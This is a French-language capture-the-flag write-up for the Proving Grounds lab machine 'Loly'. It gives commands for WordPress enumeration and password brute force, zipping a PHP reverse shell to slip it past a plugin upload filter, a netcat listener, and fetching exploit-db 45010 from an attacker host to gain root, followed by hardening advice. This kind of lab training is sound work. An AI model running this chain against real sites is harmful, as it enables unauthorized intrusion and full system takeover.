Machine CTF Loly — OffSec Proving Grounds. Chaîne d'attaque : énumération WordPress, bruteforce des credentials, upload de reverse shell via un plugin, escalade de privilèges par kernel exploit.
Énumération
IP=192.168.60.121 nmap -sC -sV -p- $IP -v
Un seul port ouvert : 80. La page par défaut nginx s'affiche. Gobuster révèle un dossier /wordpress :
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/small.txt
Le site WordPress ne s'affiche pas correctement — il pointe vers loly.lc. On ajoute l'entrée dans /etc/hosts :
echo "192.168.60.121 loly.lc" | sudo tee -a /etc/hosts
Bruteforce WordPress
wpscan --url http://loly.lc/wordpress --enumerate u # → Utilisateur : loly wpscan --url http://loly.lc/wordpress -U loly -P /usr/share/wordlists/metasploit/unix_passwords.txt
Credentials valides : loly / fernando
Exploitation — Reverse shell via AdRotate
Le plugin AdRotate (installé) permet d'uploader des fichiers dans Manage Media. L'upload PHP direct est filtré — on contourne en compressant en ZIP :
cp /usr/share/webshells/php/php-reverse-shell.php . # Modifier l'IP attaquante dans le fichier zip shell.php.zip php-reverse-shell.php sudo nc -nvlp 1234 # Écoute attaquante
Après upload, on déclenche le shell :
curl http://192.168.60.121/wordpress/wp-content/banners/php-reverse-shell.php
Shell obtenu — utilisateur www-data.
Escalade de privilèges — Kernel exploit
uname -a # Linux 4.4.0-31-generic (Ubuntu 16.04)
Kernel vulnérable à l'exploit-db 45010 (Linux < 4.13.9) :
wget http://<attaquant>:8000/45010.c export PATH=$PATH:/usr/lib/gcc/x86_64-linux-gnu/5/ gcc 45010.c -o exploit && ./exploit # → Shell root
Recommandations
- Maintenir WordPress et tous ses plugins à jour
- Désinstaller les plugins non maintenus (AdRotate)
- Interdire l'exécution de PHP dans les dossiers d'upload
- Appliquer une politique de mots de passe stricte + MFA sur wp-login
- Maintenir le système d'exploitation à jour (patches kernel)